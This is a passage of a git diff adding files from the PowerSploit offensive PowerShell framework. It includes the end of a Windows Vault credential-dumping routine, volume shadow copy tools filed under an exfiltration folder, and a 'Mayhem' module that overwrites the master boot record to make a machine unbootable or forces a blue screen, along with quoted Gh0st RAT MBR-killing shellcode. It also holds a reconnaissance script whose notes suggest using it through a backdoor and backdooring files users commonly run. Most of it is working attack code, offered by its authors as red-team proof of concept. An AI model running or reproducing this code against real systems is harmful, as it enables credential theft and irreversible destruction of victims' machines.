[IntPtr]::Zero, + 0, + [Ref] $PasswordVaultItem) + } + else + { + $Result = $Vaultcli::VaultGetItem($VaultHandle, + [Ref] $CurrentItem.SchemaId, + $CurrentItem.pResourceElement, + $CurrentItem.pIdentityElement, + [IntPtr]::Zero, + 0, + [Ref] $PasswordVaultItem) + } + + $PasswordItem = $null + + if ($Result -ne 0) + { + Write-Error "Error occured retrieving vault item. Error (0x$($Result.ToString('X8')))" + continue + } + else + { + $PasswordItem = [Runtime.InteropServices.Marshal]::PtrToStructure($PasswordVaultItem, [Type] $VAULT_ITEM) + } + + if ($VaultSchema.ContainsKey($VaultGuid)) + { + $VaultType = $VaultSchema[$VaultGuid] + } + else + { + $VaultType = $VaultGuid + } + + if ($PasswordItem.pAuthenticatorElement -ne [IntPtr]::Zero) + { + $Credential = Get-VaultElementValue $PasswordItem.pAuthenticatorElement + } + else + { + $Credential = $null + } + + $PackageSid = $null + + if ($CurrentItem.pPackageSid -and ($CurrentItem.pPackageSid -ne [IntPtr]::Zero)) + { + $PackageSid = Get-VaultElementValue $CurrentItem.pPackageSid + } + + + $Properties = @{ + Vault = $VaultType + Resource = if ($CurrentItem.pResourceElement) { Get-VaultElementValue $CurrentItem.pResourceElement } else { $null } + Identity = if ($CurrentItem.pIdentityElement) { Get-VaultElementValue $CurrentItem.pIdentityElement } else { $null } + PackageSid = $PackageSid + Credential = $Credential + LastModified = [DateTime]::FromFileTimeUtc($CurrentItem.LastModified) + } + + $VaultItem = New-Object PSObject -Property $Properties + $VaultItem.PSObject.TypeNames[0] = 'VAULTCLI.VAULTITEM' + + $VaultItem + + $null = $Vaultcli::VaultFree($PasswordVaultItem) + } + } + + $null = $Vaultcli::VaultCloseVault([Ref] $VaultHandle) + } + } +} \ No newline at end of file diff --git a/Exfiltration/VolumeShadowCopyTools.ps1 b/Exfiltration/VolumeShadowCopyTools.ps1 index e69de29..49fe22d 100644 --- a/Exfiltration/VolumeShadowCopyTools.ps1 +++ b/Exfiltration/VolumeShadowCopyTools.ps1 @@ -0,0 +1,292 @@ +function Get-VolumeShadowCopy +{ +<# +.SYNOPSIS + + Lists the device paths of all local volume shadow copies. + + PowerSploit Function: Get-VolumeShadowCopy + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + Version: 2.0.0 +#> + + $UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()) + + if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) + { + Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.' + } + + Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | ForEach-Object { $_.DeviceObject } +} + +function New-VolumeShadowCopy +{ +<# +.SYNOPSIS + + Creates a new volume shadow copy. + + PowerSploit Function: New-VolumeShadowCopy + Author: Jared Atkinson (@jaredcatkinson) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + Version: 2.0.0 + +.DESCRIPTION + + New-VolumeShadowCopy creates a volume shadow copy for the specified volume. + +.PARAMETER Volume + + Volume used for the shadow copy. This volume is sometimes referred to as the original volume. + The Volume parameter can be specified as a volume drive letter, mount point, or volume globally unique identifier (GUID) name. + +.PARAMETER Context + + Context that the provider uses when creating the shadow. The default is "ClientAccessible". + +.EXAMPLE + + New-VolumeShadowCopy -Volume C:\ + + Description + ----------- + Creates a new VolumeShadowCopy of the C drive +#> + Param( + [Parameter(Mandatory = $True)] + [ValidatePattern('^\w:\\')] + [String] + $Volume, + + [Parameter(Mandatory = $False)] + [ValidateSet("ClientAccessible")] + [String] + $Context = "ClientAccessible" + ) + + $UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()) + + if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) + { + Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.' + } + + # Save VSS Service initial state + $running = (Get-Service -Name VSS).Status + + $class = [WMICLASS]"root\cimv2:win32_shadowcopy" + + $return = $class.create("$Volume", "$Context") + + switch($return.returnvalue) + { + 1 {Write-Error "Access denied."; break} + 2 {Write-Error "Invalid argument."; break} + 3 {Write-Error "Specified volume not found."; break} + 4 {Write-Error "Specified volume not supported."; break} + 5 {Write-Error "Unsupported shadow copy context."; break} + 6 {Write-Error "Insufficient storage."; break} + 7 {Write-Error "Volume is in use."; break} + 8 {Write-Error "Maximum number of shadow copies reached."; break} + 9 {Write-Error "Another shadow copy operation is already in progress."; break} + 10 {Write-Error "Shadow copy provider vetoed the operation."; break} + 11 {Write-Error "Shadow copy provider not registered."; break} + 12 {Write-Error "Shadow copy provider failure."; break} + 13 {Write-Error "Unknown error."; break} + default {break} + } + + # If VSS Service was Stopped at the start, return VSS to "Stopped" state + if($running -eq "Stopped") + { + Stop-Service -Name VSS + } +} + +function Remove-VolumeShadowCopy +{ +<# +.SYNOPSIS + + Deletes a volume shadow copy. + + PowerSploit Function: Remove-VolumeShadowCopy + Author: Jared Atkinson (@jaredcatkinson) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + Version: 2.0.0 + +.DESCRIPTION + + Remove-VolumeShadowCopy deletes a volume shadow copy from the system. + +.PARAMETER InputObject + + Specifies the Win32_ShadowCopy object to remove + +.PARAMETER DevicePath + + Specifies the volume shadow copy 'DeviceObject' path. This path can be retrieved with the Get-VolumeShadowCopy PowerSploit function or with the Win32_ShadowCopy object. + +.EXAMPLE + + Get-VolumeShadowCopy | Remove-VolumeShadowCopy + + Description + ----------- + Removes all volume shadow copy + +.EXAMPLE + + Remove-VolumeShadowCopy -DevicePath '\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4' + + Description + ----------- + Removes the volume shadow copy at the 'DeviceObject' path \\?\GLOBALROOT\DeviceHarddiskVolumeShadowCopy4 +#> + [CmdletBinding(SupportsShouldProcess = $True)] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True)] + [ValidatePattern('^\\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy[0-9]{1,3}$')] + [String] + $DevicePath + ) + + PROCESS + { + if($PSCmdlet.ShouldProcess("The VolumeShadowCopy at DevicePath $DevicePath will be removed")) + { + (Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | Where-Object {$_.DeviceObject -eq $DevicePath}).Delete() + } + } +} + +function Mount-VolumeShadowCopy +{ +<# +.SYNOPSIS + + Mounts a volume shadow copy. + + PowerSploit Function: Mount-VolumeShadowCopy + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + Version: 2.0.0 + +.DESCRIPTION + + Mount-VolumeShadowCopy mounts a volume shadow copy volume by creating a symbolic link. + +.PARAMETER Path + + Specifies the path to which the symbolic link for the mounted volume shadow copy will be saved. + +.PARAMETER DevicePath + + Specifies the volume shadow copy 'DeviceObject' path. This path can be retrieved with the Get-VolumeShadowCopy PowerSploit function or with the Win32_ShadowCopy object. + +.EXAMPLE + + Get-VolumeShadowCopy | Mount-VolumeShadowCopy -Path C:\VSS + + Description + ----------- + Create a mount point in 'C:\VSS' for each volume shadow copy volume + +.EXAMPLE + + Mount-VolumeShadowCopy -Path C:\VSS -DevicePath '\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4' + +.EXAMPLE + + Get-WmiObject Win32_ShadowCopy | % { $_.DeviceObject -Path C:\VSS -DevicePath $_ } +#> + + Param ( + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String] + $Path, + + [Parameter(Mandatory = $True, ValueFromPipeline = $True)] + [ValidatePattern('^\\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy[0-9]{1,3}$')] + [String[]] + $DevicePath + ) + + BEGIN + { + $UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()) + + if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) + { + Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.' + } + + # Validate that the path exists before proceeding + Get-ChildItem $Path -ErrorAction Stop | Out-Null + + $DynAssembly = New-Object System.Reflection.AssemblyName('VSSUtil') + $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('VSSUtil', $False) + + # Define [VSS.Kernel32]::CreateSymbolicLink method using reflection + # (i.e. none of the forensic artifacts left with using Add-Type) + $TypeBuilder = $ModuleBuilder.DefineType('VSS.Kernel32', 'Public, Class') + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CreateSymbolicLink', + 'kernel32.dll', + ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), + [Reflection.CallingConventions]::Standard, + [Bool], + [Type[]]@([String], [String], [UInt32]), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) + $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError') + $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, + @('kernel32.dll'), + [Reflection.FieldInfo[]]@($SetLastError), + @($true)) + $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) + + $Kernel32Type = $TypeBuilder.CreateType() + } + + PROCESS + { + foreach ($Volume in $DevicePath) + { + $Volume -match '^\\\\\?\\GLOBALROOT\\Device\\(?HarddiskVolumeShadowCopy[0-9]{1,3})$' | Out-Null + + $LinkPath = Join-Path $Path $Matches.LinkName + + if (Test-Path $LinkPath) + { + Write-Warning "'$LinkPath' already exists." + continue + } + + if (-not $Kernel32Type::CreateSymbolicLink($LinkPath, "$($Volume)\", 1)) + { + Write-Error "Symbolic link creation failed for '$Volume'." + continue + } + + Get-Item $LinkPath + } + } + + END + { + + } +} \ No newline at end of file diff --git a/Mayhem/Mayhem.psd1 b/Mayhem/Mayhem.psd1 index e69de29..82035d8 100644 --- a/Mayhem/Mayhem.psd1 +++ b/Mayhem/Mayhem.psd1 @@ -0,0 +1,87 @@ +@{ + +# Script module or binary module file associated with this manifest. +ModuleToProcess = 'Mayhem.psm1' + +# Version number of this module. +ModuleVersion = '1.0.0.0' + +# ID used to uniquely identify this module +GUID = 'e65b93ff-63ba-4c38-97f1-bc4fe5a6651c' + +# Author of this module +Author = 'Matthew Graeber' + +# Company or vendor of this module +CompanyName = '' + +# Copyright statement for this module +Copyright = 'BSD 3-Clause' + +# Description of the functionality provided by this module +Description = 'PowerSploit Mayhem Module' + +# Minimum version of the Windows PowerShell engine required by this module +PowerShellVersion = '2.0' + +# Name of the Windows PowerShell host required by this module +# PowerShellHostName = '' + +# Minimum version of the Windows PowerShell host required by this module +# PowerShellHostVersion = '' + +# Minimum version of the .NET Framework required by this module +# DotNetFrameworkVersion = '' + +# Minimum version of the common language runtime (CLR) required by this module +# CLRVersion = '' + +# Processor architecture (None, X86, Amd64) required by this module +# ProcessorArchitecture = '' + +# Modules that must be imported into the global environment prior to importing this module +# RequiredModules = @() + +# Assemblies that must be loaded prior to importing this module +# RequiredAssemblies = @() + +# Script files (.ps1) that are run in the caller's environment prior to importing this module. +# ScriptsToProcess = '' + +# Type files (.ps1xml) to be loaded when importing this module +# TypesToProcess = @() + +# Format files (.ps1xml) to be loaded when importing this module +# FormatsToProcess = @() + +# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess +# NestedModules = @() + +# Functions to export from this module +FunctionsToExport = '*' + +# Cmdlets to export from this module +CmdletsToExport = '*' + +# Variables to export from this module +VariablesToExport = '' + +# Aliases to export from this module +AliasesToExport = '' + +# List of all modules packaged with this module. +ModuleList = @(@{ModuleName = 'Mayhem'; ModuleVersion = '1.0.0.0'; GUID = 'e65b93ff-63ba-4c38-97f1-bc4fe5a6651c'}) + +# List of all files packaged with this module +FileList = 'Mayhem.psm1', 'Mayhem.psd1', 'Usage.md' + +# Private data to pass to the module specified in RootModule/ModuleToProcess +# PrivateData = '' + +# HelpInfo URI of this module +# HelpInfoURI = '' + +# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. +# DefaultCommandPrefix = '' + +} diff --git a/Mayhem/Mayhem.psm1 b/Mayhem/Mayhem.psm1 index e69de29..0b4f843 100644 --- a/Mayhem/Mayhem.psm1 +++ b/Mayhem/Mayhem.psm1 @@ -0,0 +1,366 @@ +function Set-MasterBootRecord +{ +<# +.SYNOPSIS + + Proof of concept code that overwrites the master boot record with the + message of your choice. + + PowerSploit Function: Set-MasterBootRecord + Author: Matthew Graeber (@mattifestation) and Chris Campbell (@obscuresec) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + +.DESCRIPTION + + Set-MasterBootRecord is proof of concept code designed to show that it is + possible with PowerShell to overwrite the MBR. This technique was taken + from a public malware sample. This script is inteded solely as proof of + concept code. + +.PARAMETER BootMessage + + Specifies the message that will be displayed upon making your computer a brick. + +.PARAMETER RebootImmediately + + Reboot the machine immediately upon overwriting the MBR. + +.PARAMETER Force + + Suppress the warning prompt. + +.EXAMPLE + + Set-MasterBootRecord -BootMessage 'This is what happens when you fail to defend your network. #CCDC' + +.NOTES + + Obviously, this will only work if you have a master boot record to + overwrite. This won't work if you have a GPT (GUID partition table) +#> + +<# +This code was inspired by the Gh0st RAT source code seen here (acquired from: http://webcache.googleusercontent.com/search?q=cache:60uUuXfQF6oJ:read.pudn.com/downloads116/sourcecode/hack/trojan/494574/gh0st3.6_%25E6%25BA%2590%25E4%25BB%25A3%25E7%25A0%2581/gh0st/gh0st.cpp__.htm+&cd=3&hl=en&ct=clnk&gl=us): + +// CGh0stApp message handlers + +unsigned char scode[] = +"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c" +"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72" +"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29"; + +int CGh0stApp::KillMBR() +{ + HANDLE hDevice; + DWORD dwBytesWritten, dwBytesReturned; + BYTE pMBR[512] = {0}; + + // 重新构造MBR + memcpy(pMBR, scode, sizeof(scode) - 1); + pMBR[510] = 0x55; + pMBR[511] = 0xAA; + + hDevice = CreateFile + ( + "\\\\.\\PHYSICALDRIVE0", + GENERIC_READ | GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, + OPEN_EXISTING, + 0, + NULL + ); + if (hDevice == INVALID_HANDLE_VALUE) + return -1; + DeviceIoControl + ( + hDevice, + FSCTL_LOCK_VOLUME, + NULL, + 0, + NULL, + 0, + &dwBytesReturned, + NULL + ); + // 写入病毒内容 + WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL); + DeviceIoControl + ( + hDevice, + FSCTL_UNLOCK_VOLUME, + NULL, + 0, + NULL, + 0, + &dwBytesReturned, + NULL + ); + CloseHandle(hDevice); + + ExitProcess(-1); + return 0; +} +#> + + [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] Param ( + [ValidateLength(1, 479)] + [String] + $BootMessage = 'Stop-Crying; Get-NewHardDrive', + + [Switch] + $RebootImmediately, + + [Switch] + $Force + ) + + if (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) + { + throw 'This script must be executed from an elevated command prompt.' + } + + if (!$Force) + { + if (!$psCmdlet.ShouldContinue('Do you want to continue?','Set-MasterBootRecord prevent your machine from booting.')) + { + return + } + } + + #region define P/Invoke types dynamically + $DynAssembly = New-Object System.Reflection.AssemblyName('Win32') + $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32', $False) + + $TypeBuilder = $ModuleBuilder.DefineType('Win32.Kernel32', 'Public, Class') + $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) + $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError') + $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, + @('kernel32.dll'), + [Reflection.FieldInfo[]]@($SetLastError), + @($True)) + + # Define [Win32.Kernel32]::DeviceIoControl + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('DeviceIoControl', + 'kernel32.dll', + ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), + [Reflection.CallingConventions]::Standard, + [Bool], + [Type[]]@([IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) + + # Define [Win32.Kernel32]::CreateFile + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CreateFile', + 'kernel32.dll', + ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), + [Reflection.CallingConventions]::Standard, + [IntPtr], + [Type[]]@([String], [Int32], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Ansi) + $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) + + # Define [Win32.Kernel32]::WriteFile + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('WriteFile', + 'kernel32.dll', + ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), + [Reflection.CallingConventions]::Standard, + [Bool], + [Type[]]@([IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Ansi) + $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) + + # Define [Win32.Kernel32]::CloseHandle + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CloseHandle', + 'kernel32.dll', + ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), + [Reflection.CallingConventions]::Standard, + [Bool], + [Type[]]@([IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) + + $Kernel32 = $TypeBuilder.CreateType() + #endregion + + $LengthBytes = [BitConverter]::GetBytes(([Int16] ($BootMessage.Length + 5))) + # Convert the boot message to a byte array + $MessageBytes = [Text.Encoding]::ASCII.GetBytes(('PS > ' + $BootMessage)) + + [Byte[]] $MBRInfectionCode = @( + 0xb8, 0x12, 0x00, # MOV AX, 0x0012 ; CMD: Set video mode, ARG: text resolution 80x30, pixel resolution 640x480, colors 16/256K, VGA + 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set video mode + 0xb8, 0x00, 0x0B, # MOV AX, 0x0B00 ; CMD: Set background color + 0xbb, 0x01, 0x00, # MOV BX, 0x000F ; Background color: Blue + 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set background color + 0xbd, 0x20, 0x7c, # MOV BP, 0x7C18 ; Offset to string: 0x7C00 (base of MBR code) + 0x20 + 0xb9) + $LengthBytes + @( # MOV CX, 0x0018 ; String length + 0xb8, 0x01, 0x13, # MOV AX, 0x1301 ; CMD: Write string, ARG: Assign BL attribute (color) to all characters + 0xbb, 0x0f, 0x00, # MOV BX, 0x000F ; Page Num: 0, Color: White + 0xba, 0x00, 0x00, # MOV DX, 0x0000 ; Row: 0, Column: 0 + 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Write string + 0xe2, 0xfe # LOOP 0x16 ; Print all characters to the buffer + ) + $MessageBytes + + $MBRSize = [UInt32] 512 + + if ($MBRInfectionCode.Length -gt ($MBRSize - 2)) + { + throw "The size of the MBR infection code cannot exceed $($MBRSize - 2) bytes." + } + + # Allocate 512 bytes for the MBR + $MBRBytes = [Runtime.InteropServices.Marshal]::AllocHGlobal($MBRSize) + + # Zero-initialize the allocated unmanaged memory + 0..511 | % { [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, $_), 0) } + + [Runtime.InteropServices.Marshal]::Copy($MBRInfectionCode, 0, $MBRBytes, $MBRInfectionCode.Length) + + # Write boot record signature to the end of the MBR + [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 2)), 0x55) + [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 1)), 0xAA) + + # Get the device ID of the boot disk + $DeviceID = Get-WmiObject -Class Win32_DiskDrive -Filter 'Index = 0' | Select-Object -ExpandProperty DeviceID + + $GENERIC_READWRITE = 0x80000000 -bor 0x40000000 + $FILE_SHARE_READWRITE = 2 -bor 1 + $OPEN_EXISTING = 3 + + # Obtain a read handle to the raw disk + $DriveHandle = $Kernel32::CreateFile($DeviceID, $GENERIC_READWRITE, $FILE_SHARE_READWRITE, 0, $OPEN_EXISTING, 0, 0) + + if ($DriveHandle -eq ([IntPtr] 0xFFFFFFFF)) + { + throw "Unable to obtain read/write handle to $DeviceID" + } + + $BytesReturned = [UInt32] 0 + $BytesWritten = [UInt32] 0 + $FSCTL_LOCK_VOLUME = 0x00090018 + $FSCTL_UNLOCK_VOLUME = 0x0009001C + + $null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_LOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0) + $null = $Kernel32::WriteFile($DriveHandle, $MBRBytes, $MBRSize, [Ref] $BytesWritten, 0) + $null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_UNLOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0) + $null = $Kernel32::CloseHandle($DriveHandle) + + Start-Sleep -Seconds 2 + + [Runtime.InteropServices.Marshal]::FreeHGlobal($MBRBytes) + + Write-Verbose 'Master boot record overwritten successfully.' + + if ($RebootImmediately) + { + Restart-Computer -Force + } +} + +function Set-CriticalProcess +{ +<# +.SYNOPSIS + +Causes your machine to blue screen upon exiting PowerShell. + +PowerSploit Function: Set-CriticalProcess +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.PARAMETER ExitImmediately + +Immediately exit PowerShell after successfully marking the process as critical. + +.PARAMETER Force + +Set the running PowerShell process as critical without asking for confirmation. + +.EXAMPLE + +Set-CriticalProcess + +.EXAMPLE + +Set-CriticalProcess -ExitImmediately + +.EXAMPLE + +Set-CriticalProcess -Force -Verbose + +#> + + [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] Param ( + [Switch] + $Force, + + [Switch] + $ExitImmediately + ) + + if (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) + { + throw 'You must run Set-CriticalProcess from an elevated PowerShell prompt.' + } + + $Response = $True + + if (!$Force) + { + $Response = $psCmdlet.ShouldContinue('Have you saved all your work?', 'The machine will blue screen when you exit PowerShell.') + } + + if (!$Response) + { + return + } + + $DynAssembly = New-Object System.Reflection.AssemblyName('BlueScreen') + $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('BlueScreen', $False) + + # Define [ntdll]::NtQuerySystemInformation method + $TypeBuilder = $ModuleBuilder.DefineType('BlueScreen.Win32.ntdll', 'Public, Class') + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('NtSetInformationProcess', + 'ntdll.dll', + ([Reflection.MethodAttributes] 'Public, Static'), + [Reflection.CallingConventions]::Standard, + [Int32], + [Type[]] @([IntPtr], [UInt32], [IntPtr].MakeByRefType(), [UInt32]), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + + $ntdll = $TypeBuilder.CreateType() + + $ProcHandle = [Diagnostics.Process]::GetCurrentProcess().Handle + $ReturnPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(4) + + $ProcessBreakOnTermination = 29 + $SizeUInt32 = 4 + + try + { + $null = $ntdll::NtSetInformationProcess($ProcHandle, $ProcessBreakOnTermination, [Ref] $ReturnPtr, $SizeUInt32) + } + catch + { + return + } + + Write-Verbose 'PowerShell is now marked as a critical process and will blue screen the machine upon exiting the process.' + + if ($ExitImmediately) + { + Stop-Process -Id $PID + } +} \ No newline at end of file diff --git a/Recon/Get-ComputerDetails.ps1 b/Recon/Get-ComputerDetails.ps1 index e69de29..63ac1cb 100644 --- a/Recon/Get-ComputerDetails.ps1 +++ b/Recon/Get-ComputerDetails.ps1 @@ -0,0 +1,580 @@ +function Get-ComputerDetails +{ +<# +.SYNOPSIS + +This script is used to get useful information from a computer. + +Function: Get-ComputerDetails +Author: Joe Bialek, Twitter: @JosephBialek +Required Dependencies: None +Optional Dependencies: None +Version: 1.1 + +.DESCRIPTION + +This script is used to get useful information from a computer. Currently, the script gets the following information: +-Explicit Credential Logons (Event ID 4648) +-Logon events (Event ID 4624) +-AppLocker logs to find what processes are created +-PowerShell logs to find PowerShell scripts which have been executed +-RDP Client Saved Servers, which indicates what servers the user typically RDP's in to + +.PARAMETER ToString + +Switch: Outputs the data as text instead of objects, good if you are using this script through a backdoor. + +.EXAMPLE + +Get-ComputerDetails +Gets information about the computer and outputs it as PowerShell objects. + +Get-ComputerDetails -ToString +Gets information about the computer and outputs it as raw text. + +.NOTES +This script is useful for fingerprinting a server to see who connects to this server (from where), and where users on this server connect to. +You can also use it to find Powershell scripts and executables which are typically run, and then use this to backdoor those files. + +.LINK + +Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell + +#> + + Param( + [Parameter(Position=0)] + [Switch] + $ToString + ) + + Set-StrictMode -Version 2 + + + + $SecurityLog = Get-EventLog -LogName Security + $Filtered4624 = Find-4624Logons $SecurityLog + $Filtered4648 = Find-4648Logons $SecurityLog + $AppLockerLogs = Find-AppLockerLogs + $PSLogs = Find-PSScriptsInPSAppLog + $RdpClientData = Find-RDPClientConnections + + if ($ToString) + { + Write-Output "Event ID 4624 (Logon):" + Write-Output $Filtered4624.Values | Format-List + Write-Output "Event ID 4648 (Explicit Credential Logon):" + Write-Output $Filtered4648.Values | Format-List + Write-Output "AppLocker Process Starts:" + Write-Output $AppLockerLogs.Values | Format-List + Write-Output "PowerShell Script Executions:" + Write-Output $PSLogs.Values | Format-List + Write-Output "RDP Client Data:" + Write-Output $RdpClientData.Values | Format-List + } + else + { + $Properties = @{ + LogonEvent4624 = $Filtered4624.Values + LogonEvent4648 = $Filtered4648.Values + AppLockerProcessStart = $AppLockerLogs.Values + PowerShellScriptStart = $PSLogs.Values + RdpClientData = $RdpClientData.Values + } + + $ReturnObj = New-Object PSObject -Property $Properties + return $ReturnObj + } +} + + +function Find-4648Logons +{ +<# +.SYNOPSIS + +Retrieve the unique 4648 logon events. This will often find cases where a user is using remote desktop to connect to another computer. It will give the +the account that RDP was launched with and the account name of the account being used to connect to the remote computer. This is useful +for identifying normal authenticaiton patterns. Other actions that will trigger this include any runas action. + +Function: Find-4648Logons +Author: Joe Bialek, Twitter: @JosephBialek +Required Dependencies: None +Optional Dependencies: None +Version: 1.1 + +.DESCRIPTION + +Retrieve the unique 4648 logon events. This will often find cases where a user is using remote desktop to connect to another computer. It will give the +the account that RDP was launched with and the account name of the account being used to connect to the remote computer. This is useful +for identifying normal authenticaiton patterns. Other actions that will trigger this include any runas action. + +.EXAMPLE + +Find-4648Logons +Gets the unique 4648 logon events. + +.NOTES + +.LINK + +Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell +#> + Param( + $SecurityLog + ) + + $ExplicitLogons = $SecurityLog | Where {$_.InstanceID -eq 4648} + $ReturnInfo = @{} + + foreach ($ExplicitLogon in $ExplicitLogons) + { + $Subject = $false + $AccountWhosCredsUsed = $false + $TargetServer = $false + $SourceAccountName = "" + $SourceAccountDomain = "" + $TargetAccountName = "" + $TargetAccountDomain = "" + $TargetServer = "" + foreach ($line in $ExplicitLogon.Message -split "\r\n") + { + if ($line -cmatch "^Subject:$") + { + $Subject = $true + } + elseif ($line -cmatch "^Account\sWhose\sCredentials\sWere\sUsed:$") + { + $Subject = $false + $AccountWhosCredsUsed = $true + } + elseif ($line -cmatch "^Target\sServer:") + { + $AccountWhosCredsUsed = $false + $TargetServer = $true + } + elseif ($Subject -eq $true) + { + if ($line -cmatch "\s+Account\sName:\s+(\S.*)") + { + $SourceAccountName = $Matches[1] + } + elseif ($line -cmatch "\s+Account\sDomain:\s+(\S.*)") + { + $SourceAccountDomain = $Matches[1] + } + } + elseif ($AccountWhosCredsUsed -eq $true) + { + if ($line -cmatch "\s+Account\sName:\s+(\S.*)") + { + $TargetAccountName = $Matches[1] + } + elseif ($line -cmatch "\s+Account\sDomain:\s+(\S.*)") + { + $TargetAccountDomain = $Matches[1] + } + } + elseif ($TargetServer -eq $true) + { + if ($line -cmatch "\s+Target\sServer\sName:\s+(\S.*)") + { + $TargetServer = $Matches[1] + } + } + } + + #Filter out logins that don't matter + if (-not ($TargetAccountName -cmatch "^DWM-.*" -and $TargetAccountDomain 